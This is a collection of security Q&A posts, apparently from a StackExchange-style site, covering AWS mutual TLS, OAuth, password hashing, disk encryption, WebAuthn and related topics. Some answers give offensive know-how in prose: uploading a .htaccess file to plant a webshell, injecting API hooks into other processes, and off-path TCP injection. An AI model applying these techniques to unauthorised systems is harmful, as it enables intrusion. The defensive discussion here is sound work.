Amazon Elastic Load Balancer and mutual authentication Has anyone configured AWS ELB (Elastic Load Balancer) to do mutual authentication (i.e., authenticate both the server and client), probably over TLS. We're exposing a REST API using SSH and a shared secret that represents a specific user/client.

We'd like to move to using PKI and mutual authentication (i.e., keystore and trustore). I've implemented mutual authentication in Java using TLS. I'm wondering how to configure ELB to do the same.

Old question, but I'm studing a similar architecture on AWS, and has been a long journey.

The first question to answer is if is possible to configure AWS load balancers (ELB at the time, ALB and NLB now) to perform mutual TLS authentication.

This requires understanding of the mutual TLS authentication works. A google search can help you more than a thousand words.
To recap, in mutual TLS after the normal TLS flow, the client presents its certificate to the server. The server, upon receiving a valid and trusted certificate, extract identity information from the certificate.

In this model, the server terminating the TLS connection is the one "authenticating" the user.

Second question is how to configure AWS LB to do that.

TL;DR: I would say it can be done, but YMMV. I didn't build such a system, just studied documentation.

To achieve this we need some prerequisites:

being able to perform TLS termination at the LB
support PROXY PROTOCOL (both LB and backend application)
use the certificate Common Name (or SNI) as identifier for authentication

TLS termination is supported by all AWS load balancers (since Jan 2019 NLB support this too).

This allow the client to connect successfully to the LB and have a successful TLS handshake (with a valid certificate of course).

At this point the identity of the client is known to the AWS LB.
We need to propagate this information to the backend server where our application is.

Here comes the PROXY PROTOCOL. From my understanding, thanks to field PP2_TYPE_AUTHORITY we can get the SNI and thanks to PP2_SUBTYPE_SSL_CN we can get the certificate Common Name. Those are referred as Type-Length-Value (TLV vectors) in the Proxy Protocol doc and available since revision 2017/03/10.

From the AWS docs, PROXY PROTOCOL can be configured for Classic LB and NLB Target Group.

This allow our backends to receive information about the identity of the client. The backend should then "trust" the information in the PROXY PROTOCOL to authenticate it.

We also need to make the LB aware of our certificate and trust chain. Thanks to AWS Certificate Manager we can import our certificate (body, private key and chain). After import we are able to use it as certificate in Classic LB listeners and NLB Target Groups. You either can get it from a vendor or generate it yourself, as long as  your device trust the server certificate (ie a custom CA added to the client trusted store).

At this point all pieces should be in place:

we are terminating TLS at the LB
we are forwarding client identity to our backends (needed to authenticate client in our application)
we are using our certificate and chain (needed to use our client certificate)

Hope it helps and please point any possible error in my reasoning. I'm still not 100% sure this would work, in particular because documentation around what is included in Proxy Protocol header from AWS LB is lacking. Is documented for Classic LB and NLB but no information is provided on TLV related to SSL (even if those are supported in Proxy Protocol v2).

A security notice: when terminating TLS at your backend servers, traffic is encrypted from device to backend. If you perform TLS termination on LB (whereas yours or AWS ones) you are obviously decrypting in before it reaches your backend server. You may use LB Backend Authentication on Classic LB, but it seems is not available for ALB or NLB. I have no knowledge of a similar feature for ALB or NLB.
I was able to find this 2016 answer by an "Amazonian" in the AWS developer forum stating that a MITM in a VPC is impossible because:

  ARP poisoning is impossible due to the lack of broadcast in VPC, and IP spoofing is similarly impossible within VPC (this is because instances are not permitted to send traffic with a source IP or MAC which is not its own).

Further information is surely available if you want to go down the rabbit hole (ie this blog post of AWS Security about PCI DSS compliance and AWS VPC).


What are the most common ways to Architect the verification process of the access tokens between resource and authentication server using OAUTH 2.0? I'm trying to build a web application broken down into a bunch of micro services and each micro service is a resource server. I also have a separate authentication server.

I'm wondering which of the approaches below is better or if you think you have better idea or believe OAUTH is not the right tool for this.

Here are the ways I've tried:

User (resource owner) goes to my app home page http://example.com
This landing page has username and password field so once the user enters these fields I make an ajax call to the authentication server which eventually will give me an access token after the TWO-LEGGED OAUTH FLOW.
Now I take the oauth access token and go to the resource server to access the resource.
The resource server will now make another http call to the authentication server programmatically to verify the access token once the authentication server says yes then the resource server will serve request towards the completion (This way the resource server is totally isolated with the authentication process)

The other way would be to let the resource server verify the access token by talking to shared database.

Which one of these is the more common in the industry? Any other ideas on how to verify the access tokens?

OAuth2 is designed for authorization of third party clients to access protected resources on behalf of the owner of said resources.

It is not designed for authentication: you mention you use 2-legged auth in your flow, I assume you mean the client credentials flow or the Resource Owner Password Credentials Grant. Both are the wrong tool for the job, and since you already got the user's credentials I don't see why you can't authenticate them directly.
It is not for comunication between the resource provider and the authorization server: this aspect is deliberately out of scope in the spec:

  The interaction between the authorization server and resource server
  is beyond the scope of this specification. The authorization server
  may be the same server as the resource server or a separate entity. A
  single authorization server may issue access tokens accepted by
  multiple resource servers.

This seem to be the two main points you're trying to solve, and none fits OAuth's use case.

You must understand that the goal of OAuth is to separate the roles of the client and the user. This is not the problem you're trying to solve.

Get a good grasp of the problem you need to solve and use the right tools for each job.

For authentication you can use OpenID Connect, Kerberos, some SAML based service, or setup your own authentication against a database with pkbdf hashed passwords.

For authorization there might be a place for OAuth in your solution, but there might be other options that work better on that environment. Don't fixate on the tool, focus on the problem at hand.


Tracing stolen android tablet via MAC address I lost my tablet , but I can see that the tablet is connected to the network on my router: :So I know the MAC address but I am unable to trace my tablet using this information and I am running out of time before the battery drains. I suspect it is stolen but at some distance as the signal quality shown is 17% while other devices show above 50%, from this I suspect it is either gone deep down something or is far away but still in the network.
So how to track this device XX...BE:FB? I also get the IP adress of the tablet from the router but the PING to that IP does not return any response and is blocking i.e not returning to command prompt.
Update:
Now the signal has reduced to 8% as shown in router, I suspect that the tablet is in standby power saving mode where does not allow much network i\o.

Depending on your OS, you could use NetStumbler (Windows) or iStumbler (Mac OS X).
Those tools allow you to track devices WiFi signals.
Using them on a portable device, you can move around and find in which direction the signal gets stronger, until you find where your tablet is.


Can I trace a spoofed text message? Someone is texting me threats and I have no idea who. Is there a way to "unspoof" the number? I know for a fact that they are spoofing as a legit number, because I called it. Thanks in advance.

Your cell phone carrier will likely have the capability to do this for you. However for privacy reasons (silly I know) they may be reluctant to share the source number with you. However you may be able to ask them to permanently block that number from contacting you.

In addition if what is being sent to you possibly violates the law, of course you should contact your local law enforcement.


How to handle OAuth2 refresh_token for sessionless login? I'm working on a single-page sessionless app with OAuth2 login and a "Remember me" checkbox. When the user checks "Remember me" on login I store the refresh token in LocalStorage for 30 days. It feels a little insecure to just leave it there until the user logs in again. What is the best practice for persisting refresh tokens in a sessionless environment?

If you want to guarantee they will remain logged in for 30 days then that is the most secure way to do it. And yes, it's not secure at all. It's a usability / security decision you will have to make depending on the risk. You can do something like encrypt it but you would have to store the key in local storage too so it's not any safer.


Is it secure to use a custom written Php extension for handling + hashing (db) keys? I'm designing the security of a new application and try to figure out what the best way is to store the keys of the mysql AES encryption in the file system. I've seen several options like store it outside webdirectory in a restricted dir in the filesystem. Also you can store the key in system memory (how do you do this and how do you use it in php/mysql)? So my thoughts were, why not write a custom php extension with a hashing function and also the key store, and restrict the use of this custom functions on the servers ip address. Then this custom extension get compiled and loaded in apache.

Is the above safe? Can a php extension can be decompiled? What if a hacker gets access to the server and runs a php script that makes use of this custom function? (or like the other option: reads the key stored in the filesystem)

Btw: the webserver+db and secure db will be 2 seperated servers.

Hope somebody can help out! Thank you :)

A PHP extension is just compiled code. If the attacker can see the compiled code, then he can, indeed, decompile it. A key stored in compiled code that the attacker can see, cannot be considered as really secret. Otherwise, DRM would be a solved problem.

Storing the key in a "restricted directory" is a good idea (you don't want the key to be retrievable with a simple subverted GET); using a custom extension and putting the extension DLL itself in that restricted directory won't offer substantially more security. That extension would be the aggregate of the key, and the cryptographic algorithm which uses the key. It is sane practice to assume that the attacker already knows the algorithm (that's Kerckhoffs's principle), so you are back to storing the key in that directory.

Therefore, I would advise against the custom extension, because it does not bring security benefits, but it adds complexity (and complexity is bad).


How quickly can these password schemes really be beaten? If you use a quick hashing algorithm like MD5 or SHA-1 to hash passwords and you don't use any salt at all, how quickly could one expect a hacker to find my password out?

If I use a truly random salt for each user, on what order of magnitude will this affect the length of time to crack my password?

I have heard that hashing algorithms like md5 or sha-1 can be computed very quickly and at great scale, so you should not use them for password schemes today. But I know that there are lots of systems out there that use them, and I am curious to understand just how quickly these systems can be beaten, or if it is more of a theoretical problem that won't truly exist until a decade from now. I know the user chosen password matters a lot here, and if you can work that into your response, that would be great.

As a bonus, which hashing algorithms are safest to use?

Assume you have no rainbow table (or other precomputed list of hashes),
and would actually need to do a brute-force or dictionary attack.

This program IGHASHGPU v0.90 asserts to be able to do about 1300 millions of SHA-1 hashes (i.e. more than 2^30) in each second on a single ATI HD5870 GPU.

Assume a password of 40 bits of entropy, this needs 2^10 seconds, which is about 17 minutes.

A password of 44 bits of entropy (like the one in the famous XKCD comic) takes 68 minutes (worst case, average case is half of this).

Running on multiple GPUs in parallel speeds this up proportionally.

So, brute-forcing with fast hashes is a real danger, not a theoretical one.
And many passwords have a much lower entropy, making brute-forcing even faster.

  If I use a truly random salt for each user, on what order of magnitude
  will this affect the length of time to crack my password?

The salt itself is assumed to be known to the attacker, and it by itself doesn't much increase the cracking time for a single password (it might increase it a bit, because the hashed data becomes one block longer, but that at most doubles the work).

The real benefit of a (independent random) salt is that an attacker can't use the same work to attack the passwords of multiple users at the same time. When the attacker wants just any user's password (or "as many as possible"), and you have some millions of users, not having a salt would could down the attack time proportionally, even if all users would have strong passwords. And certainly not all will have.

  As a bonus, which hashing algorithms are safest to use?

The current standard is to use a slow hashing algorithm. PBKDF2, bcrypt or scrypt all take both a password and a salt as input and a configurable work factor - set this work factor as high as your users just accept on login time with your server's hardware.

PBKDF2 is simply an iterated fast hash (i.e. still efficiently parallelizable). (It is a scheme which can be used with different base algorithms. Use whatever algorithm you are using anyways in your system.)
Bcrypt needs some (4KB) working memory, and thus is less efficiently implementable on a GPU with less than 4KB of per-processor cache.
Scrypt uses a (configurable) large amount of memory additionally to processing time, which makes it extremely costly to parallelize on GPUs or custom hardware, while "normal" computers usually have enough RAM available.

All these functions have a salt input, and you should use it.


How I can encrypt Windows if I use a SSD and HDD? I need to encrypt my Windows Disks with full disk encryption. Windows is already installed and all drives have data.

My Drives/Disks:
1 SSD - C: drive
1 HDD - D: drive and I have a drive where Linux is installed

I need to encrypt C: and D: drives so no one see my files in case they access my PC or use Live Boot CD to boot.
I checked Veracrypt. It's open-source, but It allows to encrypt only my C: because Veracrypt System Encryption  encrypt a partition or drive where Windows is installed and from which it boots. So my D: remains unencrypted.
Then I checked Bitlocker. I can use it, because I use Windows Enterprise. It's closed sources, but I saw different articles like Crack Bitlocker, Remove Bitlocker while I was googling about Bitlocker. I don't know if that software works. Bitlocker will allow me to encrypt all my windows drives C: and D:. But I want to know is Bitlocker safe ?
What encryption I should use in my case ? Maybe any other software to encrypt ?

Requests for product recommendations are off-topic on this site. However, taking the narrower question of "is Bitlocker safe", yes it is if you use it correctly. (Same caveat applies to Veracrypt, any other reputable full-volume encryption utility, and for that matter any reputable encryption utility of any sort at all). While it's true that it's closed source, it has been extensively audited by both internal and external (under NDA) security experts, and Microsoft stands to lose a tremendous amount (both directly monetarily, and indirectly due to lost trust) if the promises they've made are false.

With that said, there are limits.

If you use Bitlocker with a PIN/password but without a TPM or other secure key store, then an attacker could potentially brute-force the PIN/password. This is a problem shared by literally every system that doesn't have a secure place to store the key. Microsoft applied the standard mitigations - the key derivation algorithm is extremely slow and computationally expensive so brute-forcing is also slow and hard to parallelize, and there's a default minimum length on the PIN/password which can be made even longer - but if you use a weak password there's no software solution in the world that can save you.
If you use TPM-only mode (also known as transparent mode) - where the key is stored in a hardware security module and only "unsealed" when the machine has booted up following the expected code path (so, no booting from a live CD or flashdrive or whatever) - then the security boundary becomes the Windows login screen, and somebody who steals your whole computer can potentially steal the disk encryption key out of RAM using a hardware attack after the machine boots up but while it's sitting at the login screen.
If you store the recovery "password" - a long and random string that is used as the last-ditch unlock method if the machine can't be booted otherwise - somewhere that is protected by a weaker password (such as in a cloud storage provider) or somewhere an attacker can physically access it when stealing your machine, they can potentially obtain the recovery password and then just enter it and have full access to the disk.
If the attacker steals your machine while the decryption key is in RAM (because the system is either running or in suspend/sleep mode), the same kind of hardware attacks used against TPM-only/transparent mode can be used. You need to configure the machine to hibernate (not sleep) so that the key is purged from memory, and ensure it does this quickly enough that an attacker can't walk off with the machine while it's running.

Also, for what it's worth, Veracrypt does support automatic mounting of volumes (such as your data drive) after login. See https://www.veracrypt.fr/en/Favorite%20Volumes.html for more details. I haven't tried this myself, but it looks like it might work for you.


Pentesting file upload functionality I am testing web application which allows to upload files in every format without any restrictions. There is also a function to download uploaded files but when I download file it is returned with header:

Content-disposition: attachment; filename=test.html

so it will not open in browser.

How this vulnerability can be exploited? Is it possible to use this bug to execute XSS?

Without this header it will open in the browser so it would be enough to upload html file containing script, is it possible to perform similar attack in this case?

If it is an Apache server, you might be able to upload a .htaccess file, enabling you to establish directory listings or specifying file extensions to run like php, jsp, py or whatever the server is able to understand.

From there, you will be able to upload a webshell or something else.

By way of .htaccess configuration, you may be able to change the server's behavior toward the uploaded files and bypass that attachment header imposition.

In this GitHub repo you will find some .htaccess-based attacks like shells, RCE, traversals, etc.


Fresh Graduate Going into Penetration Testing As a fresh graduate I'm wondering what my chances are of joining a great pen-testing group. Is there a risk that a career in pen-testing may one day not be needed?  If so, how applicable will skills from a pen-testing job be towards getting another job in the IT field?

A Little Background
Penetration testing probably feels like the sexiest part of security, but it is also a very small part. It's also exceptionally broad. The term "penetration test" is often used as an umbrella to mean any one of the following:

Vulnerability Assessment
Security Assessment
Security Audit
Penetration Test
Social Engineering

It could be argued that exploit development is actually outside the scope of the term, even though in some engagements custom exploit development may be performed.
Just so we're on the same page, let's do a very brief description of what I mean by each of those.
Vulnerability Assessment
This would be the real world version of peaking in windows and rattling doorknobs. In this type of engagement the tester will be given, or attempt to determine, the architecture and analyse it for weaknesses. We'll look to see what services are running, what versions of the software those are, attempt to figure out how things are configured and connected together, how the services are used, and what security protections may be in place.
Taking all that information we'll identify potential weaknesses and report on them. This may include findings relating to out of date software versions, weak configurations (such as using HTTP when they should use HTTPS), no of insufficiently restrictive firewalls, etc.
The idea here is to look for problems and report on them, not to actually break into systems.
Security Assessment
In most cases a security assessment is a complete vulnerability assessment followed up with a policy and procedure review. This will allow the assessor to judge, not only if the procedures are in line with policy, but also whether the business unit's workflow needs tightening up. This is important because a technical vulnerability assessment won't reveal whether or not sensitive files are routinely stored in unlocked file cabinets in the main lobby, or discarded in the normal trash.
Security Audit
Audits can be very similar to an assessment, with one major difference. An audit is a strict formal test against a pre-determined standard or set of standards. An assessment may use standards as guidelines, an assessment report will include anything the assessor feels may be a weakness. An audit, however, is restricted to testing ONLY THAT WHICH IS DEFINED IN THE STANDARD. The intent here is that an audit is very formal, repeatable, and predictable.
Some audit reports may include additional, or informational, findings very reminiscent of an assessment. There should not, however, be many of those. They should not be binding, and they should be used to inform compliance against the tested standard.
Penetration Testing
This is effectively a more thorough form of a Vulnerability Assessment. Once the tester has identified weaknesses they will then attempt to exploit those weaknesses. This has two major advantages:

It helps determine whether the findings in the assessment are false positives, such as the case of a software version that should be vulnerable but contains backported security patches.
It tests the vulnerabilities against mitigating controls.

It is one thing to have a finding that the company's ERP solution is a year behind on patches, it is another to demonstrate that being behind on patches allowed an attacker to retrieve payroll information.
Unlike a security assessment a penetration test will not usually involve a policy/procedure review.
Social Engineering
During a social engineering engagement your team will attempt to con or infiltrate the organization to ex-filtrate information. This is where you get into the types of things you'll often see in spy shows or movies like Sneakers. You'll probably do some dumpster diving, attempt to create (or steal) badges, talk your way past security, pose as the CEO and attempt to convince the help desk to change your password, etc. This may or may not be included as part of a penetration test.
What All This Means To You
In the end, all of these things require specific skills. Some of them are technical, some of them are personal, some of them are organizational. Your best bet to break into the assessment/penetration field is to start somewhere else. It is generally the case that the best way to know how to break something is to first know how to make it work.
The people I've talked to, or read about, who do the best got their start as developers, systems administrators, network administrators, or something similar. Let's not forget that at the end of the day you're not breaking into a server for fun. You're figuring out how something breaks in order to tell the client what they need to do to fix it. If your report can't include recommendations on locking down the TNS listener then it doesn't really matter whether you accessed the database.
Reporting a hack (or potential hack) with no recommendations just simply not useful to the client. As such you would be doing a disservice to the client, and as such it would make your employer look bad.
So as counter-intuitive as it may seem, you really should start somewhere else. Keep your eye on the ball, though. You may be able to get a job in Security Operations, that is acting as a firewall administrator, or a systems administrator for security appliances. That would certainly help jumpstart a move into assessments or incident response.


TCP off-path attack: which ends need to be vulnerable? By exploiting CVE-2016-5696, it's possible for an attacker to infer the existence of a TCP connection between two devices, to disrupt that connection and to inject arbitrary data into the TCP stream, without needing to be in the network path between the two devices.

From reading the articles about this, it's clear only certain systems are going to be vulnerable; generally those with Linux kernel versions greater than 3.6, or where the relevant kernel patches have been back-applied.

Given a TCP connection between a client and a server, it's not clear which of these needs to have the vulnerable kernel for the connection to be potentially vulnerable. Is it sufficient for either end to be running vulnerable code, or is the attack only possible if both ends have the vulnerability?

The attack is using a specific implementation of RFC 5961 on the server as an oracle to find out which connection (ports) from a specific client exist and what are the current sequence numbers. This means it is enough that the problematic implementation exists on the server.


PHP object injection in the absense of source code? I know the process of exploiting PHP object injection. I read somewhere that it can only be exploited when the attacker knows the internal code. Really? If I found a PHP object injection vulnerability and I don't know the source code of the web application, can I exploit it?

Exploiting a vulnerability without access to the source code requirs more work, some creativity and intuition and perhaps a dash of good luck. But it is absolutely possible. This is true for most attacks in general, and for PHP object injection in particular.

The idea that you are safe as long as no one gets their hands on your source code is not only wrong, it is dangerous. Instead, design your programs so that they are safe even if the source code would be made public.

To understand how this particular vulnerability could be exploited without knowledge of the source code, I recommend that you take a look at these examples from OWASP:

In the first example, a GET variable containing a file path is passed through unserialize, thereby creating a path traversal vulnerability. Whenever a competent attacker sees a path, she will try path traversal to see what happends. Seeing the source code would make it easier, but it is not strictly necesarry.
In the second example, data from unserialize is passed to eval, making code injection possible. Testing to insert PHP code at random places is pretty much standard black box pen testing procedure. Sure, it would be easier if you could just grep for eval, but that doesn't mean this little gem would go undiscovered.
The third example is a SQLi vulnerability created by __tostring method being controlled by the attacker. This one would be tricky to find without reading the source code. But serialized PHP strings are easy to spot, and an attacker will poke around and see what happends. Do you really want to bet on that no one will strike gold just by pure dumb luck?


Are browsers fetching the XSLT namespace over HTTP when transforming XML? According to the W3C recommendation (and according to W3C Schools), an XSL style sheet using XSLT should be declared as follows:

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

Question:
Is http://www.w3.org/1999/XSL/Transform ever actually fetched over HTTP (as opposed to being bundled with web browsers, for instance), making XSL style sheets vulnerable to a man-in-the-middle attack? If so, how should this attack be countered?

(I checked with a packet sniffer and found no such request, but I do not consider that completely conclusive, since there might be some caching involved.)

Setup:
A (trusted) web server is serving the following two files over HTTPS:

  data.xml:

<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet type="text/xsl" href="style.xsl"?>
<root>
</root>

  style.xsl:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
    Output
</xsl:template>

A client (using for instance a modern web browser) accesses the data.xml file.

Proposed attack:
If/when the web browser accesses http://www.w3.org/1999/XSL/Transform, an attacker substitutes something malicious, which transforms the XML into whatever the attacker wants, thereby bypassing the HTTPS authentication.

XML Namespaces are just strings in the format of URI's, not actual lookups:

  XML namespaces provide a simple method for qualifying element and attribute names used in Extensible Markup Language documents by associating them with namespaces identified by URI references.

The request never occurs. If you go to http://www.w3.org/1999/XSL/Transform in your browser, you'll see that the page returned is just a bunch of related document links to help out people who accidentally go to the URL.

So there's no risk due to the lack of SSL as, while the string is formatted to be a URI, it is just a string.


Post from HTTPS to HTTP If a server posts a message via HTTPS to another server that does not have HTTPS enabled, will that message still have been sent encrypted?

For example, a message from https://example.com to http://anotherexample.com.

No. There's no such thing as a message sent from https://example.com to anywhere; a message is sent from a device, not a URL. A user visiting your site sends messages from their computer to your server, and your server sends messages to their computer; the https in the URL means that they initiated that connection with the HTTPS protocol, and your server (when it receives HTTPS messages) is configured to respond with replies using the HTTPS protocol. If you initiate a connection to http://anotherexample.com from your server, you are initiating a connection from your server to the host of anotherexample.com using the HTTP protocol, which is not encrypted -- it's irrelevant that a user had previously connected to your server with HTTPS, because that's a different connection.


Is API hooking done by a process in a shared page, visible to all other processes? Assume, I have an executable which hooks the API CreateFileW located in Kernel32.dll which is shared globally across the system for all other processes. From hooking I mean, that I have overwritten the prologue of CreateFileW

jmp Hook_CreateFileW
nop
// ...rest of original CreateFileW code...

My Doubt::

From what I know, Kernel32.dll will be loaded at some address which is global across the system and its pages are shared across the processes. So, does hooking CreateFileW in my exe, means that it is hooked for all other processes too ? Any other process, which would call CreateFileW will try to jump Hook_CreateFileW ?

No, all API hooking (IAT, EAT, Detouring and so on) only affects process you are modifying as the PE loader grabs a local copy of Kernel32 instead of using shared code.

You would need to inject all processes with your hook to effect all processes you'll require SeDebugPrivilege to open certain system processes.

If you want to go any deep you could hook SSDT in kernel or could modify .text directly but comes a problem with x64 PatchGuard.

What makes you want to hook CreateFileW anyways? Maybe there is a better solution for your requirements?

The reason why you see same address across processes you can set a preferred base address for your modules. If the address is not in-use you'll get that memory space, if not it will be relocated. Since Kernel32 (depending on PE) is loaded very early stages unlikely the other non-system modules. So, Kernel32 will generally always get it's preferred base address. You can however relocate it so don't rely on the address been static.


What types of software vulnerabilities are out there? I have search a lot in the internet and I didn't find anything that is directly answer my question. What type of vulnerabilities are out there. I mean vulnerabilities like buffer overrun, not like XSS or SQLi etc.
Here is a short list of vulnerabilities I know that exist:

Buffer overruns(stack and heap)
Integer overflow
Format string vulnerability
Access Control Problems

Could anybody add something to this list?

I think the most comprehensible dictionary of software weaknesses is the Common Weakness Enumeration (CWE).

The view Development Concepts (CWE-699) may be a good starting point for you:

  This view organizes weaknesses around concepts that are frequently used or encountered in software development. Accordingly, this view can align closely with the perspectives of developers, educators, and assessment vendors.

There are also graphical depictions of CWE, which shows relations of weaknesses in a directed graph, e. g., the graphical depiction of CWE-699.


Can local Admin on Windows be given restricted permissions? Looking at a lot of different security software on Windows, a lot of them rely on some settings on the computer which can probably be overridden by a local administrator.

For eg. some DLP software does some settings which prevents a user from using a USB drive. However, I think a local admin can always override this?
A whitelisting product depends on a whitelist which is signed by a trusted source. However, the product's truststore is probably stored somewhere locally, so you can probably add a trust certificate and add a list signed by your own cert.

So the question here is - these products can prevent accidental misuse - but can they really protect a malicious local admin? Are there any settings which can be set at a domain level on Windows which restrict permissions on a local admin and make it a little more difficult?

Quite a lot of enterprise software tries to do this. For example, firewall or VPN software can have it's configuration locked by a central admin, and a local administrator cannot modify the settings through the GUI.

However, this does not stop a determined attacker with local admin access: they can still edit the registry or config files directly. I never liked this approach, but in a practical working environment, a lot of users do need admin rights, or you interfere with them doing their work.

One interesting variation on this approach is to heavily restrict the host OS, and not give out admin rights at all. But power users can run a guest OS inside a virtual machine, and they are allow full rights on this. I've not seen this implemented in a commercial environment, but I think the idea has merit.


Am I a Hosting service provider in a sense of PCI-DSS SAQ D Appendix A? My company provides web applications to third parties. We develop, host and manage the applications ourselves. All access that third parties get is the application itself and a separate management/configuration application which is also a web application, so no system (shell/ftp/etc) access whatsoever.

Are we a shared hosting/service provider?

Are we a shared hosting/service provider?

The PCI SSC defines what they mean by "shared hosting provider" under the PCI DSS requirement 2.6. The guidance section states:

  This [requirement] is intended for hosting providers that provide shared hosting environments for multiple clients on the same server. When all data is on the same server and under control of a single environment, often the settings on these shared servers are not manageable by individual clients. This allows clients to add insecure functions and scripts that impact the security of all other client environments; and thereby make it easy for a malicious individual to compromise one client's data and thereby gain access to all other clients' data. See Appendix A1 for details of requirements.

From your description, you probably are a shared hosting provider but its not clear whether multiple unrelated clients are accessing and storing data on a common set of servers, e.g. 12 clients accessing or running separate instances of your web application one a single web server.

This is exactly how my company operates and we are evaluated for PCI compliance as a shared hosting provider. We have multiple physical servers that run multiple virtual servers on each physical server. While some clients pay for ftp access, that is sand-boxed and will be replaced by a new mechanism within the year. Uploaded files are highly restricted by type, scanned by antivirus, and more. Databases are separate but on shared SQL server instances. In one component, a DB that is considered ours and not the clients' has client data mixed with other client data but essentially every record has a unique key, so only that component knows how decode that client's data for that client.

If this weren't allowed, even PayPal couldn't function because they would need a separate physical server for every merchant client.

The referenced Appendix A1 contains 4 specific sub-requirements, summarized:
A1 - Protect each entity's hosted environment and data, per A1.1 - A1.4
A1.1 - Ensure that each entity only runs processes that have access to that entity’s cardholder data environment.
A1.2 Restrict each entity’s access and privileges to its own cardholder data environment only.
A1.3 Ensure logging and audit trails are enabled and unique to each entity’s cardholder data environment and consistent with PCI DSS Requirement 10.
A1.4 Enable processes to provide for timely forensic investigation in the event of a compromise to any hosted merchant or service provider.

The latter 2 can be the toughest, depending on how your logging and forensic data are done.


What are the benefits of using WebAuthn? The Web Authentication API allows websites served via HTTPS to allow users to authenticate via asymmetric encryption. The procedure for login is basically the following:

Server sends a challenge (16 random bytes);
Client signs the challenge;
Client sends the signature.

How is this better than password-based authentication?
MDN says:

This resolves significant security problems related to phishing, data breaches, and attacks against SMS texts or other second-factor authentication methods [...]

I don't understand how it prevents phishing or attacks against 2FA methods. Data breach consequences are not reduced if the passwords are properly hashed and TLS already ensures that a man-in-the-middle can't steal the password nor perform replay attacks, right?

WebAuthn essentially protects against phishing.
An attacker can create a fake website (of your bank, for example) and convince you to enter your password on the fake website. Then, the attacker can freely replay it to the real website of the bank.
Same applies for SMS One-Time Passwords (often used as a second factor). For instance, an attacker can impersonate an employee of the bank on the phone and ask you for the SMS code you've just received.
WebAuthn registration bounds the credential to the domain name of the legitimate site. An attacker, which doesn't own this domain name, cannot in any circumstance get a valid WebAuthn authentication response (and replay it on the legitimate site) from a fake website because of that.


Is it a security risk to use an unknown web browser? The more I read about TLS, the more I get convinced that the browser is the weakest link in the chain.

I know that nobody agrees with me as there are no articles about that in Google, but it looks fairly simply to convince users to use unknown (or malicious) browsers to browse the Internet.

Many people download and install any software, as long it passes the anti virus scan.

How dangerous is it to use unknown browsers?

It is very dangerous.

You are correct in pointing out that the browser decides whether or not the connection is secure (HTTPS). The browser not only initiates the connection, it also chooses the symmetric key that will be used for the secure connection (assymetric keys are only used to set up the connection). Hypothetically, a browser could use a predefined symmetric key, and the user would still think the session is safely encrypted (even if he/she would inspect the traffic using wireshark for example). Moreover, the browser could choose to accept any certificate as valid, which is probably the easiest hack to implement.
The unknown browser could also not care about the same-origin policy, leading to authentication cookies from one domain being sent to any other domain. There's more than that to the same-origin policy, please consult this website for more information.
Several HTTP headers (control whether or not you are being iframed, strict-transport-security, etc.), which are more and more being used by web applications to obtain a 'second line of defense', will be useless. (For a complete list, consult OWASP)
Essentially, you are always victim of a MITB, thus being vulnerable for all kinds of attacks which target what you put in your browser cache, cookies, requests, etc. There are too many options for the attacker to describe.

The more I think about it, the more options are available. I agree with raz that is generally dangerous to use any untrusted software on your system.


What IP address is used when replying on an email while using a VPN? If you send an email with your VPN connected I believe the recipient should see the VPN IP address in the email header, not the real IP address. But if the recipient replies to this email at a later point in time when your VPN is not connected, is your real IP address exposed in some way to their view? Or does the reply email continue to refer only to the VPN IP address shown in the original sent email, even though your VPN is no longer connected at that point?

Question 1: What IP Address recepient will see?

Scenario 1: You are connected to VPN and using a native email client such as Outlook: Then the header will contain the VPN IP Address

Scenario 2: You are connected to VPN and using a webmail service such as Gmail: Your real IP address or VPN IP address will not be part of the headers. Headers will only contain your webmail servers IP address.

Question 2: Will the real IP address be exposed when recipient replies?

Recipient will reply to your email address not your IP address. Let me elaborate. Emails are stateless, every reply or forward will be just considered like a normal email by your mail server. When the recipient will respond to you, recipient's email server will fetch the MX record from your DNS records. The recipient's email server will then send this email to your email server. Now, for you to access this email, you will have to sync your native email client with your server or access this email through webmail. This is what I meant by "Recipient will reply to your email address not your IP address".


Searching vulnerabilities via similar code comparison. Is it a viable attack vector? Consider the following scenario:

the attacker scans (optimally automatically) open codebases (eg. GitHub) for vulnerable code fragments by checking bug reports and patches.
the attacker scans for similar code fragments in other sources. (i.e. other software using the same pattern, but not containing the patch.)
the attacker searches for the identified software and exploits the vulnerabilities.

The question is:

is it a viable attack method?
if it is, has it any name?
are there any existing research considering this issue or any documented example?

We know code duplication (forking, using snippets, even copy pasting) is commonplace in the open source world. The matching could be accomplished by existing methods like simple regex searches or AST (Abstract-syntax trees) analysis. It seems to be an effective attack against OSS or software using OSS (or against any software whose source is obtainable by the attacker), but I cannot find any examples of it. Hence the question.

In theory, yes, this is possible and there have been some attempts to do this. However, the technique is not all that practical because there are just too many variables involved to generalise the approach. What your talking about is really just a subset of static code anlsysis and it has been used for along time. The problem is, it has a lot of limitations

It is usually language specific. Trying to develop a solution for all software code is too complex
You often need to work at the AST level to eliminate variable names, code style etc. You need high level abstracted representations, which akes it slow
It can be difficult to identify issues which are not closely located in the code. for example, a security hole may only exist if there is a set of preconditions spread over multiple code file or modules
It often gives large numbers of false positives which need to be manually verified.

Having said all of that, there are a number of static analysis tools which can help narrow the search space for potential security holes. These often focus on a specific type of security issue, such as SQL injection or XSS vulnerabilities and are usually restricted to a specific language. Many of the better ones are very expensive.

The potential for such analysis has certainly increased due to the growth in available repositories, such as github. Defining exactly the scope to use can also mean such approaches can be beneficial. This is especially the case due to the growth in the use of open source libraries and frameworks. For example, if you know of a vulnerability in a popular library or framework, it isn't too difficult to identify code which uses those frameworks or ibraries as possible candidates for more intensive search. Likewise, the growth in the use of 'cut n paste' style programming may have some potential - if you find a popular example of how to implement some pattern/algorithm which has a flaw, you may be able to find that pattern in public repositories etc.

This type of static analysis won't automate the process, but it certainly could help in reducing the search space for code with security problems. However, at the end of the day, it will normally require someone to take the results and perform manual analysis and inspection.


Does dual boot hurt security? On my laptop I have a well secured Linux installation that I would like to stay this way. It has in the past and could in the future contain confidential medical data I use for my study. I also have a Windows installation I use for more casual usage (games, downloading stuff ext.). Is it possible to hack my linux installation via the windows partition? This goes both for directly accessing the data and installing a program somewhere where Linux might find it and run it.

